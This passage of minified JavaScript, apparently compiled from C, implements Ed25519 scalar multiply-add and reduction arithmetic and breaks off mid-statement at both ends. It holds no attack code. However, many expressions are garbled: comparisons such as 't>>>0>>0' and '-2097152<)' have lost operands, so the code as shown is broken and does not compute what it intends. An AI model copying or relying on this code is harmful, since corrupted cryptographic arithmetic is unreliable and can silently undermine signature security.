>>>0>(ut=r+ut|0)>>>0?t+1|0:t,n=Bt(B,0,L,0),r=y+t|0,Mt=ut=n+ut|0,n=n>>>0>ut>>>0?r+1|0:r,r=(t=c[h+27|0])>>>24|0,dt=t<<8|Gt>>>24,ut=2097151&((3&(r|=t=(ut=c[h+28|0])>>>16|0))<<30|(t=(ut<<=16)|dt)>>>2),r=n,dt=t=ut+Mt|0,ut=t>>>0>>0?r+1|0:r,Ut=Bt(X,j,470296,0),Mt=y,t=(n=(2097151&Pt)<<11|Ft>>>21)+(Nt-(r=-2097152&Et)|0)|0,r=zt-((524287&Ot)+(r>>>0>Nt>>>0)|0)+(Pt>>>21)|0,et=r=t>>>0>>0?r+1|0:r,rt=t,r=Bt(t,r,666643,0),t=y+Mt|0,t=r>>>0>(n=r+Ut|0)>>>0?t+1|0:t,Et=(r=Bt(J,K,654183,0))+n|0,n=y+t|0,n=r>>>0>Et>>>0?n+1|0:n,r=Bt(z,q,-997805,-1),t=y+n|0,t=r>>>0>(Et=r+Et|0)>>>0?t+1|0:t,n=Bt(W,V,136657,0),r=y+t|0,St=(t=(2097151&kt)<<11|St>>>21)+(Et=n+Et|0)|0,r=(kt>>>21|0)+(n>>>0>Et>>>0?r+1|0:r)|0,Ot=Et=ut-((dt>>>0<4293918720)-1|0)|0,t=(t>>>0>St>>>0?r+1|0:r)+ut|0,r=(ut=dt+St|0)-(n=-2097152&(zt=dt- -1048576|0))|0,n=(t=(t=ut>>>0>>0?t+1|0:t)-((n>>>0>ut>>>0)+Et|0)|0)+mt|0,Ut=ut=t-((r>>>0<4293918720)-1|0)|0,Nt=(n=(dt=r+Jt|0)>>>0>>0?n+1|0:n)-(((r=-2097152&(Mt=r- -1048576|0))>>>0>dt>>>0)+ut|0)|0,Gt=t=dt-r|0,ut=o,o=A,$t=Rt-(t=-2097152<)|0,Et=Ct-((t>>>0>Rt>>>0)+Wt|0)|0,t=Bt(rt,et,-683901,-1),r=y,A=(n=t)+(t=Bt(Y,Z,136657,0))|0,n=y+r|0,r=pt+(t>>>0>A>>>0?n+1|0:n)|0,It=(n=A+Tt|0)-(t=-2097152&It)|0,Ct=(r=n>>>0>>0?r+1|0:r)-((t>>>0>n>>>0)+Ht|0)|0,r=Bt(Y,Z,-997805,-1),t=y+vt|0,t=r>>>0>(n=r+_t|0)>>>0?t+1|0:t,A=(r=Bt(rt,et,136657,0))+n|0,n=y+t|0,n=r>>>0>A>>>0?n+1|0:n,t=Bt(X,j,-683901,-1),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,lt=A-(t=-2097152&Qt)|0,mt=r-((t>>>0>A>>>0)+Zt|0)|0,r=Bt(w,0,P,0),t=y,n=r,r=Bt(p,0,F,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,A=(r=Bt(f,0,T,0))+n|0,n=y+t|0,n=r>>>0>A>>>0?n+1|0:n,t=Bt(_,Q,b,0),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,n=Bt(C,0,S,0),t=y+r|0,t=n>>>0>(A=n+A|0)>>>0?t+1|0:t,n=Bt(v,wt,k,0),r=y+t|0,r=n>>>0>(A=n+A|0)>>>0?r+1|0:r,n=Bt(d,0,xt,0),t=y+r|0,t=n>>>0>(A=n+A|0)>>>0?t+1|0:t,r=Bt(l,0,N,0),n=y+t|0,n=r>>>0>(A=r+A|0)>>>0?n+1|0:n,t=Bt(m,0,U,0),r=y+n|0,r=t>>>0>(A=t+A|0)>>>0?r+1|0:r,n=Bt(B,0,R,0),t=y+r|0,dt=A=n+A|0,A=n>>>0>A>>>0?t+1|0:t,t=Bt(w,0,F,0),r=y,n=t,t=Bt(f,0,x,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,pt=(t=n)+(n=Bt(C,0,P,0))|0,t=y+r|0,t=n>>>0>pt>>>0?t+1|0:t,r=Bt(p,0,T,0),n=y+t|0,n=r>>>0>(pt=r+pt|0)>>>0?n+1|0:n,t=Bt(b,0,k,0),r=y+n|0,r=t>>>0>(pt=t+pt|0)>>>0?r+1|0:r,n=Bt(_,Q,S,0),t=y+r|0,t=n>>>0>(pt=n+pt|0)>>>0?t+1|0:t,n=Bt(v,wt,N,0),r=y+t|0,r=n>>>0>(pt=n+pt|0)>>>0?r+1|0:r,n=Bt(d,0,R,0),t=y+r|0,t=n>>>0>(pt=n+pt|0)>>>0?t+1|0:t,r=Bt(l,0,xt,0),n=y+t|0,n=r>>>0>(pt=r+pt|0)>>>0?n+1|0:n,pt=(t=Bt(m,0,O,0))+pt|0,r=y+n|0,n=Bt(B,0,U,0),t=y+(t>>>0>pt>>>0?r+1|0:r)|0,Rt=t=n>>>0>(Wt=n+pt|0)>>>0?t+1|0:t,At=t=t-((Wt>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(Pt=Wt- -1048576|0)>>>21,t=(t>>>21|0)+A|0,Ft=t=n>>>0>(Jt=n+dt|0)>>>0?t+1|0:t,it=t=t-((Jt>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(kt=Jt- -1048576|0)>>>21,t=(t>>>21|0)+mt|0,St=t=n>>>0>(Tt=n+lt|0)>>>0?t+1|0:t,ot=t=t-((Tt>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(vt=Tt- -1048576|0)>>>21,t=(t>>21)+Ct|0,A=t=n>>>0>(lt=n+It|0)>>>0?t+1|0:t,Ct=t=t-((lt>>>0<4293918720)-1|0)|0,mt=(2097151&t)<<11|(n=lt- -1048576|0)>>>21,t=(t>>21)+Et|0,Zt=t=(dt=mt+$t|0)>>>0>>0?t+1|0:t,Ht=dt,t=Bt(dt,t,-683901,-1),r=y,dt=t,t=Bt(tt,$,136657,0),r=y+r|0,t=(t>>>0>(dt=dt+t|0)>>>0?r+1|0:r)+o|0,Ae=(o=ut+dt|0)-(r=-2097152&Dt)|0,ie=(t=o>>>0
>>0?t+1|0:t)-((r>>>0>o>>>0)+te|0)|0,mt=ft,dt=yt,ft=Bt(Ht,Zt,136657,0),o=y,$t=t=lt-(r=-2097152&n)|0,nt=A=A-((r>>>0>lt>>>0)+Ct|0)|0,n=Bt(tt,$,-997805,-1),r=y+o|0,r=n>>>0>(ft=n+ft|0)>>>0?r+1|0:r,n=Bt(t,A,-683901,-1),t=y+r|0,te=A=n+ft|0,ut=n>>>0>A>>>0?t+1|0:t,t=Bt(W,V,470296,0),r=y,A=(n=t)+(t=Bt(z,q,666643,0))|0,n=y+r|0,r=Vt+(t>>>0>A>>>0?n+1|0:n)|0,Et=t=A+Xt|0,o=r=t>>>0>>0?r+1|0:r,r=Bt(W,V,666643,0),t=y+qt|0,t=r>>>0>(n=r+Lt|0)>>>0?t+1|0:t,It=n-(r=-2097152&jt)|0,_t=t-((r>>>0>n>>>0)+ee|0)|0,r=Bt(N,0,M,0),t=y,n=r,r=Bt(x,0,xt,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,A=(r=n)+(n=Bt(F,0,U,0))|0,r=y+t|0,r=n>>>0>A>>>0?r+1|0:r,n=Bt(P,0,O,0),t=y+r|0,t=n>>>0>(A=n+A|0)>>>0?t+1|0:t,r=Bt(T,0,R,0),n=y+t|0,n=r>>>0>(A=r+A|0)>>>0?n+1|0:n,t=Bt(S,0,L,0),r=y+n|0,lt=A=t+A|0,A=t>>>0>A>>>0?r+1|0:r,r=(t=c[h+14|0])>>>24|0,ft=t<<8|(Ct=c[h+10|0]|c[h+11|0]<<8|c[h+12|0]<<16|c[h+13|0]<<24)>>>24,r=2097151&((1&(r|=n=(t=c[h+15|0])>>>16|0))<<31|(t=ft|t<<16)>>>1),t=A,lt=n=r+lt|0,A=r>>>0>n>>>0?t+1|0:t,ft=Ct>>>4&2097151,t=Bt(M,0,xt,0),r=y,n=t,t=Bt(x,0,R,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,t=Bt(F,0,O,0),r=y+r|0,r=t>>>0>(n=t+n|0)>>>0?r+1|0:r,Ct=(t=n)+(n=Bt(P,0,L,0))|0,t=y+r|0,t=n>>>0>Ct>>>0?t+1|0:t,r=Bt(T,0,U,0),n=y+t|0,t=r>>>0>(Ct=r+Ct|0)>>>0?n+1|0:n,yt=t=(jt=ft+Ct|0)>>>0>>0?t+1|0:t,st=t=t-((jt>>>0<4293918720)-1|0)|0,r=(n=t>>>21|0)+A|0,Qt=r=(t=(2097151&t)<<11|(Dt=jt- -1048576|0)>>>21)>>>0>(Vt=t+lt|0)>>>0?r+1|0:r,at=t=r-((Vt>>>0<4293918720)-1|0)|0,r=(2097151&t)<<11|(pt=Vt- -1048576|0)>>>21,t=(t>>>21|0)+_t|0,Ct=t=r>>>0>(It=r+It|0)>>>0?t+1|0:t,ht=t=t-((It>>>0<4293918720)-1|0)|0,r=(n=t>>21)+o|0,ee=r=(r=(t=(2097151&t)<<11|(lt=It- -1048576|0)>>>21)>>>0>(A=t+Et|0)>>>0?r+1|0:r)-(((n=-2097152&Yt)>>>0>A>>>0)+re|0)|0,Yt=t=A-n|0,ft=t- -1048576|0,re=t=r-((t>>>0<4293918720)-1|0)|0,n=(r=t>>21)+ut|0,r=((t=(2097151&t)<<11|ft>>>21)>>>0>(A=t+te|0)>>>0?n+1|0:n)+dt|0,Lt=r=(r=(t=A)>>>0>(A=A+mt|0)>>>0?r+1|0:r)-(((n=-2097152&Kt)>>>0>A>>>0)+ne|0)|0,dt=t=A-n|0,o=t- -1048576|0,qt=t=r-((t>>>0<4293918720)-1|0)|0,n=(r=t>>21)+ie|0,Kt=t=(n=(t=(2097151&t)<<11|o>>>21)>>>0>(ut=t+Ae|0)>>>0?n+1|0:n)-((ut>>>0<4293918720)-1|0)|0,Et=Gt- -1048576|0,_t=Nt-((Gt>>>0<4293918720)-1|0)|0,mt=(2097151&t)<<11|(A=ut- -1048576|0)>>>21,t=(t>>21)+Nt|0,ne=(Gt=mt+Gt|0)-(r=-2097152&Et)|0,Ae=(mt>>>0>Gt>>>0?t+1|0:t)-((r>>>0>Gt>>>0)+_t|0)|0,ie=ut-(t=-2097152&A)|0,te=n-((t>>>0>ut>>>0)+Kt|0)|0,Xt=dt-(t=-2097152&o)|0,Gt=Lt-((t>>>0>dt>>>0)+qt|0)|0,t=Bt(Ht,Zt,-997805,-1),r=y,n=t,t=Bt(tt,$,654183,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,A=(t=n)+(n=Bt($t,nt,136657,0))|0,t=y+r|0,r=ee+(n>>>0>A>>>0?t+1|0:t)|0,Lt=(n=A+Yt|0)-(t=-2097152&ft)|0,qt=(r=n>>>0>>0?r+1|0:r)-((t>>>0>n>>>0)+re|0)|0,Yt=Tt-(t=-2097152&vt)|0,Nt=St-((t>>>0>Tt>>>0)+ot|0)|0,r=Bt(rt,et,-997805,-1),t=y,n=r,r=Bt(Y,Z,654183,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,A=(r=n)+(n=Bt(X,j,136657,0))|0,r=y+t|0,r=n>>>0>A>>>0?r+1|0:r,t=Bt(J,K,-683901,-1),n=y+r|0,r=Ft+(t>>>0>(A=t+A|0)>>>0?n+1|0:n)|0,vt=(n=A+Jt|0)-(t=-2097152&kt)|0,St=(r=n>>>0>>0?r+1|0:r)-((t>>>0>n>>>0)+it|0)|0,r=Bt(rt,et,654183,0),t=y,n=r,r=Bt(Y,Z,470296,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,A=(r=Bt(X,j,-997805,-1))+n|0,n=y+t|0,r=Rt+(r>>>0>A>>>0?n+1|0:n)|0,r=(t=A+Wt|0)>>>0>>0?r+1|0:r,n=t,t=Bt(J,K,136657,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,A=(t=n)+(n=Bt(z,q,-683901,-1))|0,t=y+r|0,ft=A-(r=-2097152&Pt)|0,o=(n>>>0>A>>>0?t+1|0:t)-((r>>>0>A>>>0)+At|0)|0,A=(c[h+28|0]|c[h+29|0]<<8|c[h+30|0]<<16|c[h+31|0]<<24)>>>7|0,t=Bt(f,0,M,0),r=y,ut=(n=t)+(t=Bt(p,0,x,0))|0,n=y+r|0,n=t>>>0>ut>>>0?n+1|0:n,t=Bt(C,0,F,0),r=y+n|0,r=t>>>0>(ut=t+ut|0)>>>0?r+1|0:r,n=Bt(_,Q,P,0),t=y+r|0,t=n>>>0>(ut=n+ut|0)>>>0?t+1|0:t,n=Bt(w,0,T,0),r=y+t|0,r=n>>>0>(ut=n+ut|0)>>>0?r+1|0:r,n=Bt(b,0,N,0),t=y+r|0,t=n>>>0>(ut=n+ut|0)>>>0?t+1|0:t,r=Bt(k,0,S,0),n=y+t|0,n=r>>>0>(ut=r+ut|0)>>>0?n+1|0:n,t=Bt(v,wt,xt,0),r=y+n|0,r=t>>>0>(ut=t+ut|0)>>>0?r+1|0:r,n=Bt(d,0,U,0),t=y+r|0,t=n>>>0>(ut=n+ut|0)>>>0?t+1|0:t,n=Bt(l,0,R,0),r=y+t|0,r=n>>>0>(ut=n+ut|0)>>>0?r+1|0:r,n=Bt(m,0,L,0),t=y+r|0,t=n>>>0>(ut=n+ut|0)>>>0?t+1|0:t,r=Bt(B,0,O,0),n=y+t|0,r=n=r>>>0>(ut=r+ut|0)>>>0?n+1|0:n,Ft=(n=(2097151&Ot)<<11|zt>>>21)+(t=A+ut|0)|0,t=(Ot>>>21|0)+(r=t>>>0>>0?r+1|0:r)|0,mt=t=n>>>0>Ft>>>0?t+1|0:t,Kt=r=t-((Ft>>>0<4293918720)-1|0)|0,n=(t=r>>>21|0)+o|0,dt=n=(r=(2097151&r)<<11|(wt=Ft- -1048576|0)>>>21)>>>0>(kt=r+ft|0)>>>0?n+1|0:n,zt=r=n-((kt>>>0<4293918720)-1|0)|0,t=(t=r>>21)+St|0,ft=t=(r=(2097151&r)<<11|(ut=kt- -1048576|0)>>>21)>>>0>(vt=r+vt|0)>>>0?t+1|0:t,Pt=r=t-((vt>>>0<4293918720)-1|0)|0,n=(t=r>>21)+Nt|0,Ot=n=(r=(A=(2097151&r)<<11|(o=vt- -1048576|0)>>>21)+Yt|0)>>>0>>0?n+1|0:n,Nt=r,t=Bt(r,n,-683901,-1),r=y+qt|0,St=n=t+Lt|0,A=t>>>0>n>>>0?r+1|0:r,r=Bt(tt,$,470296,0),t=y+Ct|0,t=r>>>0>(It=r+It|0)>>>0?t+1|0:t,r=Bt(Ht,Zt,654183,0),t=y+(t-(((n=-2097152<)>>>0>It>>>0)+ht|0)|0)|0,t=r>>>0>(lt=r+(It-n|0)|0)>>>0?t+1|0:t,n=Bt($t,nt,-997805,-1),r=y+t|0,r=n>>>0>(lt=n+lt|0)>>>0?r+1|0:r,Rt=n=vt-(t=-2097152&o)|0,xt=ft=ft-((t>>>0>vt>>>0)+Pt|0)|0,lt=(o=Bt(Nt,Ot,136657,0))+lt|0,t=y+r|0,n=Bt(n,ft,-683901,-1),r=y+(o>>>0>lt>>>0?t+1|0:t)|0,ft=r=n>>>0>(Ct=n+lt|0)>>>0?r+1|0:r,Pt=t=r-((Ct>>>0<4293918720)-1|0)|0,r=(2097151&t)<<11|(o=Ct- -1048576|0)>>>21,t=(t>>21)+A|0,vt=r=(t=r>>>0>(lt=r+St|0)>>>0?t+1|0:t)-((lt>>>0<4293918720)-1|0)|0,It=(2097151&r)<<11|(A=lt- -1048576|0)>>>21,r=(r>>21)+Gt|0,Xt=St=It+Xt|0,St=It>>>0>St>>>0?r+1|0:r,Gt=lt-(r=-2097152&A)|0,Wt=t-((r>>>0>lt>>>0)+vt|0)|0,Lt=Ct-(t=-2097152&o)|0,qt=ft-((t>>>0>Ct>>>0)+Pt|0)|0,t=Bt(tt,$,666643,0),n=Qt+y|0,n=(o=t+Vt|0)>>>0>>0?n+1|0:n,A=(t=Bt(Ht,Zt,470296,0))+(o-(r=-2097152&pt)|0)|0,r=y+(n-((r>>>0>o>>>0)+at|0)|0)|0,r=t>>>0>A>>>0?r+1|0:r,n=Bt($t,nt,654183,0),t=y+r|0,lt=A=n+A|0,A=n>>>0>A>>>0?t+1|0:t,o=kt-(t=-2097152&ut)|0,ft=dt-((t>>>0>kt>>>0)+zt|0)|0,t=Bt(rt,et,470296,0),r=y,n=t,t=Bt(Y,Z,666643,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,t=Bt(X,j,654183,0),r=y+r|0,r=t>>>0>(n=t+n|0)>>>0?r+1|0:r,ut=(t=n)+(n=Bt(J,K,-997805,-1))|0,t=y+r|0,t=n>>>0>ut>>>0?t+1|0:t,r=Bt(z,q,136657,0),t=y+t|0,t=r>>>0>(n=r+ut|0)>>>0?t+1|0:t,ut=(r=Bt(W,V,-683901,-1))+n|0,n=y+t|0,r=mt+(r>>>0>ut>>>0?n+1|0:n)|0,kt=(n=(2097151&Ut)<<11|Mt>>>21)+((ut=ut+Ft|0)-(t=-2097152&wt)|0)|0,t=((r=ut>>>0>>0?r+1|0:r)-((t>>>0>ut>>>0)+Kt|0)|0)+(Ut>>21)|0,vt=t=n>>>0>kt>>>0?t+1|0:t,Yt=t=t-((kt>>>0<4293918720)-1|0)|0,r=o,o=(2097151&t)<<11|(pt=kt- -1048576|0)>>>21,t=(t>>21)+ft|0,Pt=t=(n=r+o|0)>>>0>>0?t+1|0:t,Ft=n,t=Bt(n,t,-683901,-1),r=y+A|0,r=t>>>0>(n=t+lt|0)>>>0?r+1|0:r,A=(t=n)+(n=Bt(Nt,Ot,-997805,-1))|0,t=y+r|0,t=n>>>0>A>>>0?t+1|0:t,r=Bt(Rt,xt,136657,0),n=y+t|0,Mt=A=r+A|0,dt=r>>>0>A>>>0?n+1|0:n,lt=jt-(t=-2097152&Dt)|0,mt=yt-((t>>>0>jt>>>0)+st|0)|0,r=Bt(M,0,R,0),t=y,n=r,r=Bt(x,0,U,0),t=y+t|0,t=r>>>0>(n=n+r|0)>>>0?t+1|0:t,r=Bt(F,0,L,0),t=y+t|0,t=r>>>0>(n=r+n|0)>>>0?t+1|0:t,A=(r=Bt(T,0,O,0))+n|0,n=y+t|0,r=r>>>0>A>>>0?n+1|0:n,wt=n=(t=(c[h+7|0]|c[h+8|0]<<8|c[h+9|0]<<16|c[h+10|0]<<24)>>>7&2097151)+A|0,ut=t>>>0>n>>>0?r+1|0:r,t=Bt(M,0,U,0),r=y,n=t,t=Bt(x,0,O,0),r=y+r|0,r=t>>>0>(n=n+t|0)>>>0?r+1|0:r,A=(t=n)+(n=Bt(T,0,L,0))|0,t=y+r|0,ft=A,A=n>>>0>A>>>0?t+1|0:t,t=(r=c[h+6|0])>>>24|0,o=r<<8|(Kt=c[h+2|0]|c[h+3|0]<<8|c[h+4|0]<<16|c[h+5|0]<<24)>>>24,n=t,r=(t=c[h+7|0])>>>16|0,r|=n,n=A,o=n=(t=2097151&((3&r)<<30|(t=t<<16|o)>>>2))>>>0>(ft=t+ft|0)>>>0?n+1|0:n,Jt=t=n-((ft>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(Qt=ft- -1048576|0)>>>21,t=(t>>>21|0)+ut|0,It=t=n>>>0>(yt=n+wt|0)>>>0?t+1|0:t,zt=t=t-((yt>>>0<4293918720)-1|0)|0,n=(r=t>>>21|0)+mt|0,n=(t=(2097151&t)<<11|(Ct=yt- -1048576|0)>>>21)>>>0>(A=t+lt|0)>>>0?n+1|0:n,r=Bt(Ht,Zt,666643,0),t=y+n|0,t=r>>>0>(A=r+A|0)>>>0?t+1|0:t,r=Bt($t,nt,470296,0),t=y+t|0,t=r>>>0>(n=r+A|0)>>>0?t+1|0:t,A=(r=n)+(n=Bt(Ft,Pt,136657,0))|0,r=y+t|0,r=n>>>0>A>>>0?r+1|0:r,t=Bt(Nt,Ot,654183,0),r=y+r|0,r=t>>>0>(n=t+A|0)>>>0?r+1|0:r,lt=(t=Bt(Rt,xt,-997805,-1))+n|0,n=y+r|0,mt=n=t>>>0>lt>>>0?n+1|0:n,Ut=t=n-((lt>>>0<4293918720)-1|0)|0,n=(2097151&t)<<11|(wt=lt- -1048576|0)>>>21,t=(t>>21)+dt|0,Mt=n=(t=n>>>0>(A=n+Mt|0)>>>0?t+1|0:t)-((A>>>0<4293918720)-1|0)|0,ut=(2097151&n)<<11|(dt=A- -1048576|0)>>>21,n=(n>>21)+qt|0,Tt=Dt=ut+Lt|0,Dt=ut>>>0>Dt>>>0?n+1|0:n,ut=A,r=t,A=(kt-(t=-2097152&pt)|0)+(pt=(2097151&_t)<<11|Et>>>21)|0,t=(vt-((t>>>0>kt>>>0)+Yt|0)|0)+(_t>>21)|0,Et=t=A>>>0>>0?t+1|0:t,Lt=t=t-((A>>>0<4293918720)-1|0)|0,kt=n=t>>21,t=Bt(Ht=(2097151&t)<<11|(_t=A- -1048576|0)>>>21,n,-683901,-1),r=y+r|0,r=t>>>0>(n=t+ut|0)>>>0?r+1|0:r,qt=n-(t=-2097152&dt)|0,jt=r-((t>>>0>n>>>0)+Mt|0)|0,r=Bt(Ht,kt,136657,0),t=y+mt|0,t=r>>>0>(n=r+lt|0)>>>0?t+1|0:t,Vt=n-(r=-2097152&wt)|0,Ut=t-((r>>>0>n>>>0)+Ut|0)|0,r=Bt($t,nt,666643,0),t=y+(It-(((n=-2097152&Ct)>>>0>yt>>>0)+zt|0)|0)|0,t=r>>>0>(ut=r+(yt-n|0)|0)>>>0?t+1|0:t,n=Bt(Ft,Pt,-997805,-1),r=y+t|0,r=n>>>0>(ut=n+ut|0)>>>0?r+1|0:r,t=Bt(Nt,Ot,470296,0),n=y+r|0,n=t>>>0>(ut=t+ut|0)>>>0?n+1|0:n,r=Bt(Rt,xt,654183,0),t=y+n|0,Mt=ut=r+ut|0,mt=r>>>0>ut>>>0?t+1|0:t,n=Kt>>>5&2097151,t=Bt(M,0,O,0),r=y,dt=t,t=Bt(x,0,L,0),r=y+r|0,t=t>>>0>(ut=dt+t|0)>>>0?r+1|0:r,dt=r=n+ut|0,n=t=r>>>0>>0?t+1|0:t,yt=(r=Bt(M,0,L,0))+(t=(t=c[h+2|0])<<16&2031616|c[0|h]|c[h+1|0]<<8)|0,r=y,pt=r=t>>>0>yt>>>0?r+1|0:r,Yt=r=r-((yt>>>0<4293918720)-1|0)|0,t=(t=r>>>21|0)+n|0,Ct=t=(r=(2097151&r)<<11|(It=yt- -1048576|0)>>>21)>>>0>(vt=r+dt|0)>>>0?t+1|0:t,Kt=r=t-((vt>>>0<4293918720)-1|0)|0,n=(2097151&r)<<11|(lt=vt- -1048576|0)>>>21,r=(r>>>21|0)+o|0,r=n>>>0>(ut=n+ft|0)>>>0?r+1|0:r,n=Bt(Ft,Pt,654183,0),t=y+(r-(((o=-2097152&Qt)>>>0>ut>>>0)+Jt|0)|0)|0,t=n>>>0>(ft=n+(ut-o|0)|0)>>>0?t+1|0:t,r=Bt(Nt,Ot,666643,0),t=y+t|0,t=r>>>0>(n=r+ft|0)>>>0?t+1|0:t,wt=(r=n)+(n=Bt(Rt,xt,470296,0))|0,r=y+t|0,dt=r=n>>>0>wt>>>0?r+1|0:r,zt=r=r-((wt>>>0<4293918720)-1|0)|0,n=(t=r>>21)+mt|0,Qt=r=(n=(r=(2097151&r)<<11|(ut=wt- -1048576|0)>>>21)>>>0>(ft=r+Mt|0)>>>0?n+1|0:n)-((ft>>>0<4293918720)-1|0)|0,mt=(2097151&r)<<11|(o=ft- -1048576|0)>>>21,r=(r>>21)+Ut|0,Ot=Nt=mt+Vt|0,mt=mt>>>0>Nt>>>0?r+1|0:r,t=Bt(Ht,kt,-997805,-1),r=y+n|0,r=t>>>0>(ft=t+ft|0)>>>0?r+1|0:r,Ut=ft-(t=-2097152&o)|0,Mt=r-((t>>>0>ft>>>0)+Qt|0)|0,r=Bt(Ht,kt,654183,0),t=y+dt|0,t=r>>>0>(n=r+wt|0)>>>0?t+1|0:t,Nt=n-(r=-2097152&ut)|0,Qt=t-((r>>>0>n>>>0)+zt|0)|0,t=Bt(Ft,Pt,470296,0),n=y+(Ct-(((r=-2097152<)>>>0>vt>>>0)+Kt|0)|0)|0,n=t>>>0>(o=t+(vt-r|0)|0)>>>0?n+1|0:n,r=Bt(Rt,xt,666643,0),t=y+n|0,ft=o=r+o|0,n=r>>>0>o>>>0?t+1|0:t,r=Bt(Ft,Pt,666643,0),t=y+(pt-((4095&Yt)+((o=-2097152&It)>>>0>yt>>>0)|0)|0)|0,wt=t=r>>>0>(lt=r+(yt-o|0)|0)>>>0?t+1|0:t,pt=t=t-((lt>>>0<4293918720)-1|0)|0,o=(2097151&t)<<11|(dt=lt- -1048576|0)>>>21,t=(t>>21)+n|0,n=t=o>>>0>(ut=o+ft|0)>>>0?t+1|0:t,It=t=t-((ut>>>0<4293918720)-1|0)|0,o=(2097151&t)<<11|(ft=ut- -1048576|0)>>>21,t=(t>>21)+Qt|0,o=o>>>0>(Ct=o+Nt|0)>>>0?t+1|0:t,t=Bt(Ht,kt,470296,0),n=y+n|0,n=t>>>0>(r=t+ut|0)>>>0?n+1|0:n,ut=r-(t=-2097152&ft)|0,ft=n-((t>>>0>r>>>0)+It|0)|0,r=Bt(Ht,kt,666643,0),t=y+(wt-(((n=-2097152&dt)>>>0>lt>>>0)+pt|0)|0)|0,r=(n=(t=r>>>0>(vt=r+(lt-n|0)|0)>>>0?t+1|0:t)>>21)+ft|0,t=(t=(r=(t=(2097151&t)<<11|vt>>>21)>>>0>(Qt=t+ut|0)>>>0?r+1|0:r)>>21)+o|0,r=(r=(t=(r=(2097151&r)<<11|Qt>>>21)>>>0>(pt=r+Ct|0)>>>0?t+1|0:t)>>21)+Mt|0,n=(t=(r=(t=(2097151&t)<<11|pt>>>21)>>>0>(o=t+Ut|0)>>>0?r+1|0:r)>>21)+mt|0,t=(r=(n=(r=(2097151&r)<<11|o>>>21)>>>0>(It=r+Ot|0)>>>0?n+1|0:n)>>21)+jt|0,r=(n=(t=(n=(2097151&n)<<11|It>>>21)>>>0>(Ct=n+qt|0)>>>0?t+1|0:t)>>21)+Dt|0,t=(t=(r=(t=(2097151&t)<<11|Ct>>>21)>>>0>(lt=t+Tt|0)>>>0?r+1|0:r)>>21)+Wt|0,r=(r=(t=(r=(2097151&r)<<11|lt>>>21)>>>0>(mt=r+Gt|0)>>>0?t+1|0:t)>>21)+St|0,n=(t=(r=(t=(2097151&t)<<11|mt>>>21)>>>0>(wt=t+Xt|0)>>>0?r+1|0:r)>>21)+te|0,t=(r=(n=(r=(2097151&r)<<11|wt>>>21)>>>0>(dt=r+ie|0)>>>0?n+1|0:n)>>21)+Ae|0,ft=(_t=A-(r=-2097152&_t)|0)+((2097151&(t=(n=(2097151&n)<<11|dt>>>21)>>>0>(ut=n+ne|0)>>>0?t+1|0:t))<<11|ut>>>21)|0,t=(Et-((r>>>0>A>>>0)+Lt|0)|0)+(t>>21)|0,_t=r=(t=ft>>>0<_t>>>0?t+1|0:t)>>21,vt=(t=Bt(Dt=(2097151&t)<<11|ft>>>21,r,666643,0))+(r=2097151&vt)|0,t=y,A=t=r>>>0>vt>>>0?t+1|0:t,s[0|i]=vt,s[i+1|0]=(255&t)<<24|vt>>>8,t=2097151&Qt,r=Bt(Dt,_t,470296,0)+t|0,n=y,t=(A>>21)+(t>>>0>r>>>0?n+1|0:n)|0,t=(Et=(2097151&A)<<11|vt>>>21)>>>0>(Qt=Et+r|0)>>>0?t+1|0:t,s[i+4|0]=(2047&t)<<21|Qt>>>11,r=t,n=Qt,s[i+3|0]=(7&t)<<29|n>>>3,s[i+2|0]=31&((65535&A)<<16|vt>>>16)|n<<5,A=2097151&pt,pt=Bt(Dt,_t,654183,0)+A|0,t=y,Qt=(2097151&r)<<11|n>>>21,r=(r>>21)+(A=A>>>0>pt>>>0?t+1|0:t)|0,t=r=(pt=Qt+pt|0)>>>0>>0?r+1|0:r,s[i+6|0]=(63&t)<<26|pt>>>6,A=pt,pt=0,s[i+5|0]=pt<<13|(1572864&n)>>>19|A<<2,n=2097151&o,o=Bt(Dt,_t,-997805,-1)+n|0,r=y,r=n>>>0>o>>>0?r+1|0:r,pt=(2097151&(n=t))<<11|A>>>21,n=(t>>=21)+r|0,n=(o=pt+o|0)>>>0>>0?n+1|0:n,s[i+9|0]=(511&n)<<23|o>>>9,s[i+8|0]=(1&n)<<31|o>>>1,r=0,s[i+7|0]=r<<18|(2080768&A)>>>14|o<<7,r=2097151&It,A=Bt(Dt,_t,136657,0)+r|0,t=y,t=r>>>0>A>>>0?t+1|0:t,It=(2097151&(r=n))<<11|o>>>21,r=t+(n=r>>21)|0,r=(A=It+A|0)>>>0>>0?r+1|0:r,s[i+12|0]=(4095&r)<<20|A>>>12,n=A,s[i+11|0]=(15&r)<<28|n>>>4,A=0,s[i+10|0]=A<<15|(1966080&o)>>>17|n<<4,A=2097151&Ct,o=Bt(Dt,_t,-683901,-1)+A|0,t=y,t=A>>>0>o>>>0?t+1|0:t,A=r,r=t+(r>>=21)|0,r=(A=(Ct=o)+(o=(2097151&A)<<11|n>>>21)|0)>>>0>>0?r+1|0:r,s[i+14|0]=(127&r)<<25|A>>>7,o=0,s[i+13|0]=o<<12|(1048576&n)>>>20|A<<1,t=r>>21,n=(r=(2097151&r)<<11|A>>>21)>>>0>(o=r+(2097151<)|0)>>>0?t+1|0:t,s[i+17|0]=(1023&n)<<22|o>>>10,s[i+16|0]=(3&n)<<30|o>>>2,r=0,s[i+15|0]=r<<17|(2064384&A)>>>15|o<<6,t=n>>21,t=(r=(2097151&n)<<11|o>>>21)>>>0>(n=r+(2097151&mt)|0)>>>0?t+1|0:t,s[i+20|0]=(8191&t)<<19|n>>>13,s[i+19|0